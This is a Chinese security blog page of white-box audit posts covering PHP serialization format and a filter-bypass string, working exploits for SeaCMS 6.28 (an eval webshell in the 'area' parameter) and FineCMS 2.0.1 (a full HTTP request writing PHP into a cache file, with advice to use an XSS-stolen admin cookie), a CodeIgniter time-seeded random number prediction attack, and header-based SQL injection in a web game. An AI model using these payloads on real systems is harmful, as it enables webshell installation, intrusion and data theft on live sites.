分类 白盒测试 下的文章

PHP序列化以及反序列化系列[1]--PHP序列化格式

什么是序列化以及反序列化?

序列化是将PHP中的值(zval)转换成一段包含字节流的字符串。 序列化一个对象会保存对象的所有变量的值,但是不会保存对象的方法,只会保存类的名字。

反序列化:对单一的已序列化的变量进行操作,将其转换回 PHP 的值(zval)。

PHP序列化方式

PHP在序列化的时候会将相应的变量以对应的键值进行储存。

将一个类序列化的话,处理代码主要的文件:ext/standard/var.c中,如下。

php_var_serialize_class()函数:

    static void php_var_serialize_class(smart_str *buf, zval *struc, zval *retval_ptr, HashTable *var_hash TSRMLS_DC) /* {{{ */
    {
    ...
      incomplete_class = php_var_serialize_class_name(buf, struc TSRMLS_CC);
    ...

php_var_serialize_class_name()函数:

    static inline zend_bool php_var_serialize_class_name(smart_str *buf, zval     *struc TSRMLS_DC) /* {{{ */
    {
        PHP_CLASS_ATTRIBUTES;

        PHP_SET_CLASS_ATTRIBUTES(struc);
        smart_str_appendl(buf, "O:", 2);
        smart_str_append_long(buf, (int)name_len);
        smart_str_appendl(buf, ":\"", 2);
        smart_str_appendl(buf, class_name, name_len);
        smart_str_appendl(buf, "\":", 2);
        PHP_CLEANUP_CLASS_ATTRIBUTES();
        return incomplete_class;
    }

需要序列化一个类的话,首先PHP会先将类名序列化。格式为

O:类名长度:"类名":值:{}
<?php

class test
{
    public function show_one()
    {
        echo $this->one;
    }
    public function show_two()
    {
        echo "123";
    }
}

例:如果一个类名叫做test的类没有定义任何变量的话,序列化之后结果如下:

O:4:"test":0:{}

我们可以看到,这个类中的方法没有在序列化字符串中出现,也体现了开头的“序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”。

其中还有比较特殊的序列化就是数组中的引用(&)的序列化与实例化后对象中自身的二次赋值。

我们在这用PHP Internal Book中的例子。

例1:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

$s = serialize($a);

print $s;

以上代码的序列化结果是

a:2:{i:0;s:3:"foo";i:1;R:2;}

这里的R:2;部分意味着"指向第二个值".什么是第二个值?整个数组代表第一个值, (s:3:"foo") 代表第二个值.

<?php
/**
 * User: LonelyRain
 */

$o = new stdClass;
$o->foo = $o;

$s = serialize($o);

print $s;

以上代码的序列化结果是

O:8:"stdClass":1:{s:3:"foo";r:1;}

以下是zval对应的类型和键对照表

序列化键名对照表:

数组中二次赋值(&):            R;
对象二次赋值     :            r;
NULL           :            N;
true           :          b:1;
false          :          b:0;
Long           :            i;
Double         :            d;
String         :            s/S;
Class          :            C;
Array          :            a;
Object         :            O;

变量不同的属性也有着不同的格式

public         :        key;
protected      :        \0*\0key;
private        :        \0key\0;

通过实例来观察:

<?php
/**
 * User: LonelyRain
 */


class Test {
    public $public = 1;
    protected $protected = 2;
    private $private = 3;
}

$a = new Test();

$s = serialize($a);

var_dump($s);

结果:

"O:4:"Test":3:{s:6:"public";i:1;s:12:"\0*\0protected";i:2;s:13:"\0Test\0private";i:3;}"

再来看一看反序列化的相关知识。大家应该注意到了String对应着两个键,s与S。

serialize()与unserialize()处理有着一些差异。PHP源码serialize()中是没有相关序列化是以S为标识的,但是在unserialize中又有对S键的相关处理,下面我把相关部分代码贴出来供读者参考。

case 'S':    goto yy10;
...
yy10:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy39;
    goto yy3;
...
yy39:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy40;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy41;
    goto yy18;
case 's':    goto yy9;
...
yy9:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy46;
    goto yy3;
...
yy46:
    yych = *++YYCURSOR;
    if (yych == '+') goto yy47;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    goto yy18;
...
...

如果大家继续看接下去的代码下去,会发现s和S的就会发现两个键的处理方式是一模一样的。

如果大家看了phpcodz 10,里面写道a:1:{s:8:"ryatsyne"tO:8:"ryatsyne":0:{}}这样可以突破

static public function safeUnserialize( $serialized )
{
    // unserialize will return false for object declared with small cap o
    // as well as if there is any ws between O and :
    if ( is_string( $serialized ) && strpos( $serialized, "\0" ) === false )
    {
        if ( strpos( $serialized, 'O:' ) === false )
        {
            // the easy case, nothing to worry about
            // let unserialize do the job
            return @unserialize( $serialized );
        }
        else if ( ! preg_match('/(^|;|{|})O:[+\-0-9]+:"/', $serialized ) )
        {
            // in case we did have a string with O: in it,
            // but it was not a true serialized object
            return @unserialize( $serialized );
        }
    }

    return false;
}

这个payload在php5.6.23中失效,看以下代码

yy48:
    ++YYCURSOR;
    if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
    yych = *YYCURSOR;
    if (yych <= '/') goto yy18;
    if (yych <= '9') goto yy48;
    if (yych >= ';') goto yy18;
    yych = *++YYCURSOR;
    if (yych != '"') goto yy18;
    ++YYCURSOR;
    {
    size_t len, maxlen;
    char *str;

    len = parse_uiv(start + 2);
    maxlen = max - YYCURSOR;
    if (maxlen < len) {
        *p = start + 2;
        return 0;
    }

    str = (char*)YYCURSOR;

    YYCURSOR += len;

    if (*(YYCURSOR) != '"') {
        *p = YYCURSOR;
        return 0;
    }

    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

    YYCURSOR += 2;
    *p = YYCURSOR;

    INIT_PZVAL(*rval);
    ZVAL_STRINGL(*rval, str, len, 1);
    return 1;
}

代码中已经多加了分号符号校验,这个tricky在这个php版本中是无效的。


    if (*(YYCURSOR + 1) != ';') {
        *p = YYCURSOR + 1;
        return 0;
    }

WDDX序列化方式

序列化本质就是将程序的值以相应的格式保存下来,所以我们不止单单可以用上面的serialize函数进行序列化。PHP还提供了另外一种序列化格式为Web分布式数据交换(WDDX)。WDDX是XML的子集,所以符合WDDX的序列化过后的字符串格式是符合xml的规范的。

演示代码:

<?php
/**
 * User: LonelyRain
 */

$a = ["foo"];
$a[1] =& $a[0];

echo wddx_serialize_value($a);
?>

结果:

<wddxPacket version='1.0'><header/><data><array length='2'><string>foo</string><string>foo</string></array></data></wddxPacket>

可以看到才用wddx_serialize_value()函数处理的$a和之前使用serialize()函数处理的值都被保存下来了,只不过遵守的格式有着相应的区别。

WDDX序列化反序列化相关函数:

wddx_serialize_value:    将单一值连续化。
wddx_serialize_vars :    将多值连续化。
wddx_packet_start   :    开始新的 WDDX 封包。
wddx_packet_end     :    结束的 WDDX 封包。
wddx_add_vars       :    将 WDDX 封包连续化。
wddx_deserialize    :    将 WDDX 封包解连续化。

这一篇主要讲了序列化后数据的格式,下一次会写PHP序列化中一块重要的内容,PHP的魔术方法等内容。

Reference:

PHP内核
PHP string序列化与反序列化语法解析不一致带来的安全隐患
PHP中文手册

海洋CMS最新版本 V6.28 命令执行 0DAY

t00ls上一个朋友fuzz出了一个0day,但是分析不出来问题到底出在哪里,我分析了一下。

我是怎么追踪这个0day的呢?

其实只要追area参数处理过的地方就好了

经过字符是否非法判断之后,调用echoSearchPage()函数

area参数经过了检测是否是拼音之后

接下来到了

$content=$mainClassObj->parseSearchItemList($content,"area");

其实有个方法很简单,命令执行无非就是那么几个函数,eval(),system(),proc_open()之类的

因为能执行php代码一般就是eval()函数

搜索一下这个页面有eval函数的地方

        for($m=0;$m<$arlen;$m++){
            $strIf=$iar[1][$m];
            $strIf=$this->parseStrIf($strIf);
            $strThen=$iar[2][$m];
            $strThen=$this->parseSubIf($strThen);
            if (strpos($strThen,$labelRule2)===false){
                if (strpos($strThen,$labelRule3)>=0){
                    $elsearray=explode($labelRule3,$strThen);
                    $strThen1=$elsearray[0];
                    $strElse1=$elsearray[1];
                    @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
                    if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
                }else{
                @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
                if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
            }

可以在这里下个断点,把变量打印出来

就可以清晰的看到就是在这执行了我们的命令,当然函数不好追的话,还有一种方法就是自己写一个函数,再下断点,这样追起来比较方便。

exp:

/search.php?searchtype=5&tid=&area=eval($_POST[cmd])

直接菜刀连接,密码cmd

Finecms 2.0.1后台GETSHELL 0DAY

FineCMS有一个缓存功能,和当初Wordpress一样,有一个缓存功能,并且缓存的文件名不是随机的并且后缀是php,就导致了可以利用后台缓存功能来getshell。

下面是Payload

POST /index.php?s=admin&c=category&a=edit&catid=13 HTTP/1.1
Host: finecms2.0.1
Content-Length: 813
Cache-Control: max-age=0
Origin: http://finecms2.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://finecms2.0.1/index.php?s=admin&c=category&a=edit&catid=13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: finecms_b1bf4_member_id=1; finecms_b1bf4_member_code=5bd1ebd88ad1c863ecc2; cod=10; csd=13; finecms_b1bf4_ci_session=a%3A7%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%221f2b4dc45dd971bb0cd46febe32f5967%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A120%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10_11_5%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F51.0.2704.106+Safari%2F537.3%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1468985849%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22error_admin_login%22%3Bi%3A5%3Bs%3A7%3A%22user_id%22%3Bs%3A1%3A%221%22%3B%7D0edaafa3cae30c09ebb401c1ff2d76dd80c0ec91
Connection: close

catid=13&typeid=2&data%5Bparentid%5D=10&data%5Bcatname%5D=123&data%5Bcatdir%5D=123&setting%5Bdocument%5D=&data%5Bimage%5D=&data%5Bismenu%5D=1&data%5Burlpath%5D=&abc=10&data%5Bpagesize%5D=20&data%5Bcategorytpl%5D=&data%5Blisttpl%5D=&data%5Bshowtpl%5D=page.html&data%5Bmeta_title%5D=&data%5Bmeta_keywords%5D=&data%5Bmeta_description%5D=&setting%5Bverifypost%5D=0&setting%5Badminpost%5D=0&setting%5Bmemberpost%5D=0&setting%5Bguestpost%5D=0&setting%5Bguestpost%5D=&setting%5Burl%5D%5Buse%5D=0&setting%5Burl%5D%5Btohtml%5D=0&setting%5Burl%5D%5Bhtmldir%5D=html&setting%5Burl%5D%5Blist%5D=&setting%5Burl%5D%5Blist_page%5D=&setting%5Burl%5D%5Bshow%5D=&setting%5Burl%5D%5Bshow_page%5D=&setting%5Burl%5D%5Bcatjoin%5D=%2F&submit=%E6%8F%90%E4%BA%A4&data%5Bcontent%5D=%3Cp%3E%0D%0A%09"}//%0D
<?php phpinfo();?>
%0D//{"%3C%2Fp%3E

把phpinfo();换成一句话,cookie换成XSS打到的管理员的就好。

CodeIgniter伪随机数导致加密失效

首先来看一段CI内核在开启session储存在数据库选项的时候的操作.也就是

/system/core/config.php

内核配置文件设置为以下的时候

$config['sess_use_database'] = true;

/system/libraries/Session/session.php

public function __construct($params = array())

    {

        log_message('debug', "Session Class Initialized");



        // Set the super object to a local variable for use throughout the class

        $this->CI =& get_instance();

        /*

        if (defined('ci_session')) {

            return $this->CI->session;

        } else {

            define('ci_session', 1);

        }

        */

        // Set all the session preferences, which can either be set

        // manually via the $params array above or via the config file



        foreach (array('sess_encrypt_cookie', 'sess_use_database', 'sess_table_name', 'sess_expiration', 'sess_expire_on_close', 'sess_match_ip', 'sess_match_useragent', 'sess_cookie_name', 'cookie_path', 'cookie_domain', 'cookie_secure', 'sess_time_to_update', 'time_reference', 'cookie_prefix', 'encryption_key') as $key)

        {

            $this->$key = (isset($params[$key])) ? $params[$key] : $this->CI->config->item($key);

        }



        if ($this->encryption_key == '')

        {

            $this->encryption_key == 'finecms190';

        }



        // Load the string helper so we can use the strip_slashes() function

        $this->CI->load->helper('string');



        // Do we need encryption? If so, load the encryption class

        if ($this->sess_encrypt_cookie == TRUE)

        {

            $this->CI->load->library('encrypt');

        }



        // Are we using a database?  If so, load it

        if ($this->sess_use_database === TRUE AND $this->sess_table_name != '')

        {

            $this->CI->load->database();

        }



        // Set the "now" time.  Can either be GMT or server time, based on the

        // config prefs.  We use this to set the "last activity" time

        $this->now = $this->_get_time();



        // Set the session length. If the session expiration is

        // set to zero we'll set the expiration two years from now.

        if ($this->sess_expiration == 0)

        {

            $this->sess_expiration = (60*60*24*365*2);

        }



        // Set the cookie name

        $this->sess_cookie_name = $this->cookie_prefix.$this->sess_cookie_name;



        // Run the Session routine. If a session doesn't exist we'll

        // create a new one.  If it does, we'll update it.

        if ( ! $this->sess_read())

        {

            $this->sess_create();

        }

        else

        {

            $this->sess_update();

        }



        // Delete 'old' flashdata (from last request)

        $this->_flashdata_sweep();



        // Mark all new flashdata as old (data will be deleted before next request)

        $this->_flashdata_mark();



        // Delete expired sessions if necessary

        $this->_sess_gc();



        log_message('debug', "Session routines successfully run");

    }

简单的用大白话来说,这段代码就是用来做一些对Session 的初始工作,检测配置,检测cookie是否设置等,检测配置最后有这个函数_sess_gc().这是每次请求的时候都会运行到的。

function _sess_gc()

    {

        if ($this->sess_use_database != TRUE)

        {

            return;

        }

        srand(time());

        if ((rand() % 100) < $this->gc_probability)

        {

            $expire = $this->now - $this->sess_expiration;



            $this->CI->db->where("last_activity < {$expire}");

            $this->CI->db->delete($this->sess_table_name);



            log_message('debug', 'Session garbage collection performed.');

        }

    }

可以看到这里首先检测了是否开启了数据库储存session,如果开启就会以当前的时间设置一个种子。大家可能觉得没有什么问题

首先我先介绍一下一个特性,我们在发送HTTP给PHP-CGI的时候

85D4315C-97CC-4B00-8857-BCD997B78171.png

这个请求对应的返回的时间戳,是php先生成的。

假如当前是 10:00

php代码是

echo "start";

sleep(5);

//Insert some code.

echo "pause";

sleep(10)

大家可能觉得返回的时间戳是请求接受到的时间+处理的时间。10:15

实际上应该就是请求接收到的时间。

为什么我要说这个呢?

因为CI的框架本身代码执行时间就是等于返回的时间戳的时间。所以在运行到

srand(time());

时候这里的time()就等于返回的时间戳。

当种子设置为时间戳之后,之后所有的基于PRNG的函数全部变的可计算了。

举个例子:

FineCMS2.0.1有一个文件解压getshell漏洞

详情可以看

/bugs/wooyun-2010-064128

这篇文章。

官方的修复方案是将目录名称随机

$temp = APP_ROOT.'cache/attack/'.md5(uniqid().rand(0, 9999)).'/'

让攻击者不可猜测,从而即使攻击者上传了shell之后,也找不到执行的目录。

假设开启了数据库储存session选项之后。那么即使官方用了两个随机函数,一个加密函数,都变辣鸡。

我们先来看uniqid()的php的内核源码

PHP_FUNCTION(uniqid)

{

    char *prefix = "";

#if defined(__CYGWIN__)

    zend_bool more_entropy = 1;

#else

    zend_bool more_entropy = 0;

#endif

    char *uniqid;

    int sec, usec, prefix_len = 0;

    struct timeval tv;



    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &prefix, &prefix_len,

                              &more_entropy)) {

        return;

    }



#if HAVE_USLEEP && !defined(PHP_WIN32)

    if (!more_entropy) {

#if defined(__CYGWIN__)

        php_error_docref(NULL TSRMLS_CC, E_WARNING, "You must use 'more entropy' under CYGWIN");

        RETURN_FALSE;

#else

        usleep(1);

#endif

    }

#endif

    gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);

    sec = (int) tv.tv_sec;

    usec = (int) (tv.tv_usec % 0x100000);



    /* The max value usec can have is 0xF423F, so we use only five hex

     * digits for usecs.

     */

    if (more_entropy) {

        spprintf(&uniqid, 0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg(TSRMLS_C) * 10);

    } else {

        spprintf(&uniqid, 0, "%s%08x%05x", prefix, sec, usec);

    }



    RETURN_STRING(uniqid, 0);

}

#endif

/* }}} */

可以看到uniqid()在默认情况下会生成13位"随机"数字,实际上就是将当前的时间戳变为16进制,8位秒以上的16进制+5位微秒时间戳而已。呵呵没错,又是时间戳。

那么这时候就会变成,13位里面我们可以确定8位,剩下5位是我们不可见的。

然后rand()的值,我们知道了种子,可以列出到达这里的rand()的随机值[根据rand()调用的次数]

那么md5(uniqid().rand(0,9999))

这个加密方法,实际上就变成了跑5位数0-F字典的问题了。

如果说框架没有问题,想跑出来这个这个目录个人电脑要进行上亿次的请求,这几乎不可能。但是当框架帮我们固定了随机数种子之后,一切都变得so easy。

同理如果cookie生成,csrf生成用到了rand()函数,全部都会被击溃。

千里之堤,溃于蚁穴。

攻击者发送请求
85D4315C-97CC-4B00-8857-BCD997B78171.png

根据服务器返回的时间,转为时间戳
E51B8868-12C2-405F-8ED5-05F26BBEF52D.png

根据时间戳计算加密过后的目录

1CD3FE40-8187-4BFD-A37C-E3D5256C97F3.png

服务器上攻击者攻击之后生成的目录

F50ED45C-F8E9-447A-9ED2-49CBE8DCE5EF.png

网页游戏《BR大逃杀》一枚小0Day

呵呵,昨晚和初中同学叙旧,两个人无聊找了一款网页游戏BR大逃杀玩,今天把这个网页游戏下下来简单审计了一下源码。

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
set_magic_quotes_runtime(0);
//ini_set('date.timezone','Asia/Shanghai');
$now = time(); 
define('IN_GAME', TRUE);
define('GAME_ROOT', substr(dirname(__FILE__), 0, 0));
define('GAMENAME', 'bra');
if(PHP_VERSION < '4.3.0') {
    exit('PHP version must >= 4.3.0!');
}
require_once GAME_ROOT.'./include/global.func.php';
require_once GAME_ROOT.'./config.inc.php';

extract(gaddslashes($_COOKIE));
extract(gaddslashes($_POST));
extract(gaddslashes($_GET));

if($attackevasive) {
    include_once GAME_ROOT.'./include/security.inc.php';
}

if($gzipcompress && function_exists('ob_gzhandler') && CURSCRIPT != 'wap') {
    ob_start('ob_gzhandler');
} else {
    $gzipcompress = 0;
    ob_start();
}

require_once GAME_ROOT.'./include/db_'.$database.'.class.php';
$db = new dbstuff;
$db->connect($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
unset($dbhost, $dbuser, $dbpw, $dbname, $pconnect);
$db->select_db($dbname);
require_once GAME_ROOT.'./gamedata/system.php';
if(!$username||!$password){
    gexit($_ERROR['login_info'],__file__,__line__);
}else{
    include_once GAME_ROOT.'./gamedata/system.php';

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

    $password = md5($password);
    $groupid = 1;
    $credits = 0;
    $gender = 0;
    $str = "SELECT * FROM {$tablepre}users WHERE username = '$username'";
    $result = $db->query("SELECT * FROM {$tablepre}users WHERE username = '$username'");
    if(!$db->num_rows($result)) {
        $groupid = 1;
        $str = "INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')";
        $db->query("INSERT INTO {$tablepre}users (username,`password`,groupid,ip,credits,gender) VALUES ('$username', '$password', '$groupid', '$onlineip', '$credits', '$gender')");
    } else {
        $userdata = $db->fetch_array($result);
        if($userdata['groupid'] <= 0){
            gexit($_ERROR['user_ban'],__file__,__line__);
        } elseif($userdata['password'] != $password) {
            gexit($_ERROR['login_check'],__file__,__line__);
        } else {

        }
    }
    gsetcookie('user',$username);
    gsetcookie('pass',$password);
}

Header("Location: index.php");
exit();

?>

以上这些是login.php的源码,程序员从15-17行进行了addslash()操作并且用了extract()函数解压出来,这两个函数都有相关的安全风险。
addslash()函数在数据库为gbk的条件下可以用宽字节注入,extract函数的话可以用数组进行变量覆盖(日常感谢黑哥等老一辈黑阔)

看了一下下面进行sql查询的地方,因为数据库设置的是utf8格式的,所以暂时先放弃了宽字节注入的想法。

接下来我发现下面的insert语句里面需要插入一个ip,根据以往的经验来看,php获取ip一共有3种方式,其中的2种方式都是有问题的。
使用X-Forward-For和HTTP_CLIENT_IP这两种都是客户端可以伪造的。
于是看一下ip是怎么取得的,获取ip的代码是如下:

    if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
        $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }

个人觉得程序猿没有注意到获取顺序,应该是$_SERVER['REMOTE_ADDR']放在判断语句的第一个,不然就不会有下面的问题了。
上面那串代码获取了$onlineip,但要注意到$onlineip是从$_SERVER这个php的超全局变量获取的。程序开头只addslash了3个超全局变量,忽略了这个,所以下面insert语句是可以注入的。
所以接下来就可以用报错注入来注入了。
F93EDEF9-CC09-479E-81F9-B5F70267FC74.png
66FF604A-1512-40CD-8858-E74C5ECA32CD.png